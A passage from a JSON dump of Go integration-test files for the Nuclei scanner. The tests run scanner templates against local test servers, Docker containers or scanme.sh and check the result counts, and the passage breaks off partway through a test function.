{\n\t\treturn err\n\t}\n\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\tif results[0] != fmt.Sprintf(\"%s/redirected\", ts.URL) {\n\t\treturn fmt.Errorf(\"mismatched url found: %s\", results[0])\n\t}\n\treturn nil\n}\n\ntype customCLISNIUnsafe struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *customCLISNIUnsafe) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif r.TLS.ServerName == \"test\" {\n\t\t\t_, _ = w.Write([]byte(\"test-ok\"))\n\t\t} else {\n\t\t\t_, _ = w.Write([]byte(\"test-ko\"))\n\t\t}\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-sni\", \"test\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype annotationTimeout struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *annotationTimeout) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\ttime.Sleep(4 * time.Second)\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-timeout\", \"1\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype customAttackType struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *customAttackType) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tgot := []string{}\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tgot = append(got, r.URL.RawQuery)\n\t\t_, _ = fmt.Fprintf(w, \"This is test custom payload\")\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\t_, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-attack-type\", \"clusterbomb\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 4)\n}\n\n// Disabled as GH doesn't support ipv6\ntype scanAllIPS struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *scanAllIPS) Execute(filePath string) error {\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"https://scanme.sh\", debug, \"-scan-all-ips\", \"-iv\", \"4\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t// limiting test to ipv4 (GH doesn't support ipv6)\n\treturn expectResultsCount(got, 1)\n}\n\n// ensure that ip|host are handled without http|https scheme\ntype httpGetWithoutScheme struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetWithoutScheme) Execute(filePath string) error {\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 1)\n}\n\n// content-length in case the response has no header but has a body\ntype httpCLBodyWithoutHeader struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpCLBodyWithoutHeader) Execute(filePath string) error {\n\tlogutil.DisableDefaultLogger()\n\tdefer logutil.EnableDefaultLogger()\n\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.Header()[\"Content-Length\"] = []string{\"-1\"}\n\t\t_, _ = fmt.Fprintf(w, \"this is a test\")\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 1)\n}\n\n// content-length in case the response has content-length header and a body\ntype httpCLBodyWithHeader struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpCLBodyWithHeader) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.Header()[\"Content-Length\"] = []string{\"50000\"}\n\t\t_, _ = fmt.Fprintf(w, \"this is a test\")\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 1)\n}\n\n// constant shouldn't be overwritten by cli var with same name\ntype ConstantWithCliVar struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *ConstantWithCliVar) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprint(w, r.URL.Query().Get(\"p\"))\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-V\", \"test=fromcli\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 1)\n}\n\ntype constantsWithThreads struct{}\n\n// Execute tests that constants are properly resolved when using threads mode.\nfunc (h *constantsWithThreads) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/api/:version\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\t// Echo back the API key header and version so we can match on them\n\t\t_, _ = fmt.Fprintf(w, \"%s %s\", r.Header.Get(\"X-API-Key\"), p.ByName(\"version\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype matcherStatusTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *matcherStatusTest) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/200\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-ms\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\n// disable path automerge in raw request\ntype httpDisablePathAutomerge struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpDisablePathAutomerge) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/api/v1/test\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprint(w, r.URL.Query().Get(\"id\"))\n\t})\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprint(w, \"empty path in raw request\")\n\t})\n\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"/api/v1/user\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 2)\n}\n\ntype httpInteractshRequestsWithMCAnd struct{}\n\nfunc (h *httpInteractshRequestsWithMCAnd) Execute(filePath string) error {\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"honey.scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 1)\n}\n\n// integration test to check if preprocessor i.e {{randstr}}\n// is working correctly\ntype httpPreprocessor struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpPreprocessor) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tre := regexp.MustCompile(`[A-Za-z0-9]{25,}`)\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tvalue := r.URL.RequestURI()\n\t\tif re.MatchString(value) {\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t_, _ = fmt.Fprint(w, \"ok\")\n\t\t} else {\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t_, _ = fmt.Fprint(w, \"not ok\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpMultiRequest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpMultiRequest) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/ping\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = fmt.Fprint(w, \"ping\")\n\t})\n\trouter.GET(\"/pong\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = fmt.Fprint(w, \"pong\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpRawPathSingleSlash struct{}\n\nfunc (h *httpRawPathSingleSlash) Execute(filepath string) error {\n\texpectedPath := \"/index.php\"\n\tresults, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{\"-t\", filepath, \"-u\", \"scanme.sh/index.php\", \"-debug-req\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar actual string\n\tfor _, v := range strings.Split(results, \"\\n\") {\n\t\tif strings.Contains(v, \"GET\") {\n\t\t\tparts := strings.Fields(v)\n\t\t\tif len(parts) == 3 {\n\t\t\t\tactual = parts[1]\n\t\t\t}\n\t\t}\n\t}\n\n\tif actual != expectedPath {\n\t\treturn fmt.Errorf(\"expected: %v\\n\\nactual: %v\", expectedPath, actual)\n\t}\n\treturn nil\n}\n\ntype httpRawUnsafePathSingleSlash struct{}\n\nfunc (h *httpRawUnsafePathSingleSlash) Execute(filepath string) error {\n\texpectedPath := \"/index.php\"\n\tresults, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{\"-t\", filepath, \"-u\", \"scanme.sh/index.php\", \"-debug-req\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar actual string\n\tfor _, v := range strings.Split(results, \"\\n\") {\n\t\tif strings.Contains(v, \"GET\") {\n\t\t\tparts := strings.Fields(v)\n\t\t\tif len(parts) == 3 {\n\t\t\t\tactual = parts[1]\n\t\t\t}\n\t\t}\n\t}\n\n\tif actual != expectedPath {\n\t\treturn fmt.Errorf(\"expected: %v\\n\\nactual: %v\", expectedPath, actual)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/integration-test/integration-test.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"regexp\"\n\t\"runtime\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"github.com/kitabisa/go-ci\"\n\t\"github.com/logrusorgru/aurora\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\ntype TestCaseInfo struct {\n\tPath      string\n\tTestCase  testutils.TestCase\n\tDisableOn func() bool\n}\n\nvar (\n\tdebug       = isDebugMode()\n\tcustomTests = os.Getenv(\"TESTS\")\n\tprotocol    = os.Getenv(\"PROTO\")\n\n\tsuccess = aurora.Green(\"[✓]\").String()\n\tfailed  = aurora.Red(\"[✘]\").String()\n\n\tprotocolTests = map[string][]TestCaseInfo{\n\t\t\"http\":            httpTestcases,\n\t\t\"interactsh\":      interactshTestCases,\n\t\t\"network\":         networkTestcases,\n\t\t\"dns\":             dnsTestCases,\n\t\t\"workflow\":        workflowTestcases,\n\t\t\"loader\":          loaderTestcases,\n\t\t\"profile-loader\":  profileLoaderTestcases,\n\t\t\"websocket\":       websocketTestCases,\n\t\t\"headless\":        headlessTestcases,\n\t\t\"whois\":           whoisTestCases,\n\t\t\"ssl\":             sslTestcases,\n\t\t\"library\":         libraryTestcases,\n\t\t\"templatesPath\":   templatesPathTestCases,\n\t\t\"templatesDir\":    templatesDirTestCases,\n\t\t\"env_vars\":        templatesDirEnvTestCases,\n\t\t\"file\":            fileTestcases,\n\t\t\"offlineHttp\":     offlineHttpTestcases,\n\t\t\"customConfigDir\": customConfigDirTestCases,\n\t\t\"fuzzing\":         fuzzingTestCases,\n\t\t\"code\":            codeTestCases,\n\t\t\"multi\":           multiProtoTestcases,\n\t\t\"generic\":         genericTestcases,\n\t\t\"dsl\":             dslTestcases,\n\t\t\"flow\":            flowTestcases,\n\t\t\"javascript\":      jsTestcases,\n\t\t\"matcher-status\":  matcherStatusTestcases,\n\t\t\"exporters\":       exportersTestCases,\n\t}\n\n\t// flakyTests are run with a retry count of 3\n\tflakyTests = map[string]bool{\n\t\t\"protocols/http/self-contained-file-input.yaml\": true,\n\t}\n\n\t// For debug purposes\n\trunProtocol          = \"\"\n\trunTemplate          = \"\"\n\textraArgs            = []string{}\n\tinteractshRetryCount = 3\n)\n\nfunc main() {\n\tflag.StringVar(&runProtocol, \"protocol\", \"\", \"run integration tests of given protocol\")\n\tflag.StringVar(&runTemplate, \"template\", \"\", \"run integration test of given template\")\n\tflag.Parse()\n\n\t// allows passing extra args to nuclei\n\teargs := os.Getenv(\"DebugExtraArgs\")\n\tif eargs != \"\" {\n\t\textraArgs = strings.Split(eargs, \" \")\n\t\ttestutils.ExtraDebugArgs = extraArgs\n\t}\n\n\tif runProtocol != \"\" {\n\t\tdebugTests()\n\t\tos.Exit(1)\n\t}\n\n\t// start fuzz playground server\n\tserver := fuzzplayground.GetPlaygroundServer()\n\tdefer func() {\n\t\tfuzzplayground.Cleanup()\n\t\t_ = server.Close()\n\t}()\n\n\tgo func() {\n\t\tif err := server.Start(\"localhost:8082\"); err != nil {\n\t\t\tif !strings.Contains(err.Error(), \"Server closed\") {\n\t\t\t\tgologger.Fatal().Msgf(\"Could not start server: %s\\n\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\tcustomTestsList := normalizeSplit(customTests)\n\tfailedTestTemplatePaths := runTests(customTestsList)\n\n\tif len(failedTestTemplatePaths) > 0 {\n\t\tif ci.IsCI() {\n\t\t\t// run failed tests again assuming they are flaky\n\t\t\t// if they fail as well only then we assume that there is an actual issue\n\t\t\tfmt.Println(\"::group::Running failed tests again\")\n\t\t\tfailedTestTemplatePaths = runTests(failedTestTemplatePaths)\n\t\t\tfmt.Println(\"::endgroup::\")\n\n\t\t\tif len(failedTestTemplatePaths) > 0 {\n\t\t\t\tdebug = true\n\t\t\t\tfmt.Println(\"::group::Failed integration tests in debug mode\")\n\t\t\t\t_ = runTests(failedTestTemplatePaths)\n\t\t\t\tfmt.Println(\"::endgroup::\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"::group::All tests passed\")\n\t\t\t\tfmt.Println(\"::endgroup::\")\n\t\t\t\tos.Exit(0)\n\t\t\t}\n\t\t}\n\n\t\tos.Exit(1)\n\t}\n}\n\n// isDebugMode checks if debug mode is enabled via any of the supported debug\n// environment variables.\nfunc isDebugMode() bool {\n\tdebugEnvVars := []string{\n\t\t\"DEBUG\",\n\t\t\"ACTIONS_RUNNER_DEBUG\", // GitHub Actions runner debug\n\t\t// Add more debug environment variables here as needed\n\t}\n\n\ttruthyValues := []string{\"true\", \"1\", \"yes\", \"on\", \"enabled\"}\n\n\tfor _, envVar := range debugEnvVars {\n\t\tenvValue := strings.ToLower(strings.TrimSpace(os.Getenv(envVar)))\n\t\tif slices.Contains(truthyValues, envValue) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// execute a testcase with retry and consider best of N\n// intended for flaky tests like interactsh\nfunc executeWithRetry(testCase testutils.TestCase, templatePath string, retryCount int) (string, error) {\n\tvar err error\n\tfor i := 0; i < retryCount; i++ {\n\t\terr = testCase.Execute(templatePath)\n\t\tif err == nil {\n\t\t\tfmt.Printf(\"%s Test \\\"%s\\\" passed!\\n\", success, templatePath)\n\t\t\treturn \"\", nil\n\t\t}\n\t}\n\t_, _ = fmt.Fprintf(os.Stderr, \"%s Test \\\"%s\\\" failed after %v attempts : %s\\n\", failed, templatePath, retryCount, err)\n\treturn templatePath, err\n}\n\nfunc debugTests() {\n\ttestCaseInfos := protocolTests[runProtocol]\n\tfor _, testCaseInfo := range testCaseInfos {\n\t\tif (runTemplate != \"\" && !strings.Contains(testCaseInfo.Path, runTemplate)) ||\n\t\t\t(testCaseInfo.DisableOn != nil && testCaseInfo.DisableOn()) {\n\t\t\tcontinue\n\t\t}\n\t\tif runProtocol == \"interactsh\" {\n\t\t\tif _, err := executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount); err != nil {\n\t\t\t\tfmt.Printf(\"\\n%v\", err.Error())\n\t\t\t}\n\t\t} else {\n\t\t\tif _, err := execute(testCaseInfo.TestCase, testCaseInfo.Path); err != nil {\n\t\t\t\tfmt.Printf(\"\\n%v\", err.Error())\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc runTests(customTemplatePaths []string) []string {\n\tvar failedTestTemplatePaths []string\n\n\tfor proto, testCaseInfos := range protocolTests {\n\t\tif protocol != \"\" {\n\t\t\tif !strings.EqualFold(proto, protocol) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif len(customTemplatePaths) == 0 {\n\t\t\tfmt.Printf(\"Running test cases for %q protocol\\n\", aurora.Blue(proto))\n\t\t}\n\t\tfor _, testCaseInfo := range testCaseInfos {\n\t\t\tif testCaseInfo.DisableOn != nil && testCaseInfo.DisableOn() {\n\t\t\t\tfmt.Printf(\"skipping test case %v. disabled on %v.\\n\", aurora.Blue(testCaseInfo.Path), runtime.GOOS)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(customTemplatePaths) == 0 || sliceutil.Contains(customTemplatePaths, testCaseInfo.Path) {\n\t\t\t\tvar failedTemplatePath string\n\t\t\t\tvar err error\n\t\t\t\tif proto == \"interactsh\" || strings.Contains(testCaseInfo.Path, \"interactsh\") {\n\t\t\t\t\tfailedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)\n\t\t\t\t} else if flakyTests[testCaseInfo.Path] {\n\t\t\t\t\tfailedTemplatePath, err = executeWithRetry(testCaseInfo.TestCase, testCaseInfo.Path, interactshRetryCount)\n\t\t\t\t} else {\n\t\t\t\t\tfailedTemplatePath, err = execute(testCaseInfo.TestCase, testCaseInfo.Path)\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\tfailedTestTemplatePaths = append(failedTestTemplatePaths, failedTemplatePath)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn failedTestTemplatePaths\n}\n\nfunc execute(testCase testutils.TestCase, templatePath string) (string, error) {\n\tif err := testCase.Execute(templatePath); err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"%s Test \\\"%s\\\" failed: %s\\n\", failed, templatePath, err)\n\t\treturn templatePath, err\n\t}\n\n\tfmt.Printf(\"%s Test \\\"%s\\\" passed!\\n\", success, templatePath)\n\treturn \"\", nil\n}\n\nfunc expectResultsCount(results []string, expectedNumbers ...int) error {\n\tresults = filterLines(results)\n\tmatch := sliceutil.Contains(expectedNumbers, len(results))\n\tif !match {\n\t\treturn fmt.Errorf(\"incorrect number of results: %d (actual) vs %v (expected) \\nResults:\\n\\t%s\\n\", len(results), expectedNumbers, strings.Join(results, \"\\n\\t\")) // nolint:all\n\t}\n\treturn nil\n}\n\nfunc normalizeSplit(str string) []string {\n\treturn strings.FieldsFunc(str, func(r rune) bool {\n\t\treturn r == ','\n\t})\n}\n\n// filterLines applies all filtering functions to the results\nfunc filterLines(results []string) []string {\n\tresults = filterHeadlessLogs(results)\n\tresults = filterUnsignedTemplatesWarnings(results)\n\treturn results\n}\n\n// if chromium is not installed go-rod installs it in .cache directory\n// this function filters out the logs from download and installation\nfunc filterHeadlessLogs(results []string) []string {\n\t// [launcher.Browser] 2021/09/23 15:24:05 [launcher] [info] Starting browser\n\tfiltered := []string{}\n\tfor _, result := range results {\n\t\tif strings.Contains(result, \"[launcher.Browser]\") {\n\t\t\tcontinue\n\t\t}\n\t\tfiltered = append(filtered, result)\n\t}\n\treturn filtered\n}\n\n// filterUnsignedTemplatesWarnings filters out warning messages about unsigned templates\nfunc filterUnsignedTemplatesWarnings(results []string) []string {\n\tfiltered := []string{}\n\tunsignedTemplatesRegex := regexp.MustCompile(`Loading \\d+ unsigned templates for scan\\. Use with caution\\.`)\n\tfor _, result := range results {\n\t\tif unsignedTemplatesRegex.MatchString(result) {\n\t\t\tcontinue\n\t\t}\n\t\tfiltered = append(filtered, result)\n\t}\n\treturn filtered\n}\n"
  },
  {
    "path": "cmd/integration-test/interactsh.go",
    "content": "package main\n\nimport osutils \"github.com/projectdiscovery/utils/os\"\n\n// All Interactsh related testcases\nvar interactshTestCases = []TestCaseInfo{\n\t{Path: \"protocols/http/interactsh.yaml\", TestCase: &httpInteractshRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/http/interactsh-with-payloads.yaml\", TestCase: &httpInteractshWithPayloadsRequest{}, DisableOn: func() bool { return true }},\n\t{Path: \"protocols/http/interactsh-stop-at-first-match.yaml\", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return true }}, // disable this test for now\n\t{Path: \"protocols/http/default-matcher-condition.yaml\", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }},\n\t{Path: \"protocols/http/interactsh-requests-mc-and.yaml\", TestCase: &httpInteractshRequestsWithMCAnd{}},\n}\n"
  },
  {
    "path": "cmd/integration-test/javascript.go",
    "content": "package main\n\nimport (\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/ory/dockertest/v3\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\t\"go.uber.org/multierr\"\n)\n\nvar jsTestcases = []TestCaseInfo{\n\t{Path: \"protocols/javascript/redis-pass-brute.yaml\", TestCase: &javascriptRedisPassBrute{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/javascript/ssh-server-fingerprint.yaml\", TestCase: &javascriptSSHServerFingerprint{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/javascript/net-multi-step.yaml\", TestCase: &networkMultiStep{}},\n\t{Path: \"protocols/javascript/net-https.yaml\", TestCase: &javascriptNetHttps{}},\n\t{Path: \"protocols/javascript/rsync-test.yaml\", TestCase: &javascriptRsyncTest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/javascript/oracle-auth-test.yaml\", TestCase: &javascriptOracleAuthTest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/javascript/vnc-pass-brute.yaml\", TestCase: &javascriptVncPassBrute{}},\n\t{Path: \"protocols/javascript/postgres-pass-brute.yaml\", TestCase: &javascriptPostgresPassBrute{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/javascript/mysql-connect.yaml\", TestCase: &javascriptMySQLConnect{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n\t{Path: \"protocols/javascript/multi-ports.yaml\", TestCase: &javascriptMultiPortsSSH{}},\n\t{Path: \"protocols/javascript/no-port-args.yaml\", TestCase: &javascriptNoPortArgs{}},\n\t{Path: \"protocols/javascript/telnet-auth-test.yaml\", TestCase: &javascriptTelnetAuthTest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},\n}\n\nvar (\n\tredisResource    *dockertest.Resource\n\tsshResource      *dockertest.Resource\n\toracleResource   *dockertest.Resource\n\tvncResource      *dockertest.Resource\n\ttelnetResource   *dockertest.Resource\n\tpostgresResource *dockertest.Resource\n\tmysqlResource    *dockertest.Resource\n\trsyncResource    *dockertest.Resource\n\tpool             *dockertest.Pool\n\tdefaultRetry     = 3\n)\n\ntype javascriptNetHttps struct{}\n\nfunc (j *javascriptNetHttps) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype javascriptRedisPassBrute struct{}\n\nfunc (j *javascriptRedisPassBrute) Execute(filePath string) error {\n\tif redisResource == nil || pool == nil {\n\t\t// skip test as redis is not running\n\t\treturn nil\n\t}\n\ttempPort := redisResource.GetPort(\"6379/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(redisResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let ssh server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptSSHServerFingerprint struct{}\n\nfunc (j *javascriptSSHServerFingerprint) Execute(filePath string) error {\n\tif sshResource == nil || pool == nil {\n\t\t// skip test as redis is not running\n\t\treturn nil\n\t}\n\ttempPort := sshResource.GetPort(\"2222/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(sshResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let ssh server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptOracleAuthTest struct{}\n\nfunc (j *javascriptOracleAuthTest) Execute(filePath string) error {\n\tif oracleResource == nil || pool == nil {\n\t\t// skip test as oracle is not running\n\t\treturn nil\n\t}\n\ttempPort := oracleResource.GetPort(\"1521/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(oracleResource)\n\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t// let oracle server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptVncPassBrute struct{}\n\nfunc (j *javascriptVncPassBrute) Execute(filePath string) error {\n\tif vncResource == nil || pool == nil {\n\t\t// skip test as vnc is not running\n\t\treturn nil\n\t}\n\ttempPort := vncResource.GetPort(\"5900/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(vncResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let ssh server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptPostgresPassBrute struct{}\n\nfunc (j *javascriptPostgresPassBrute) Execute(filePath string) error {\n\tif postgresResource == nil || pool == nil {\n\t\t// skip test as postgres is not running\n\t\treturn nil\n\t}\n\ttempPort := postgresResource.GetPort(\"5432/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(postgresResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let postgres server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil 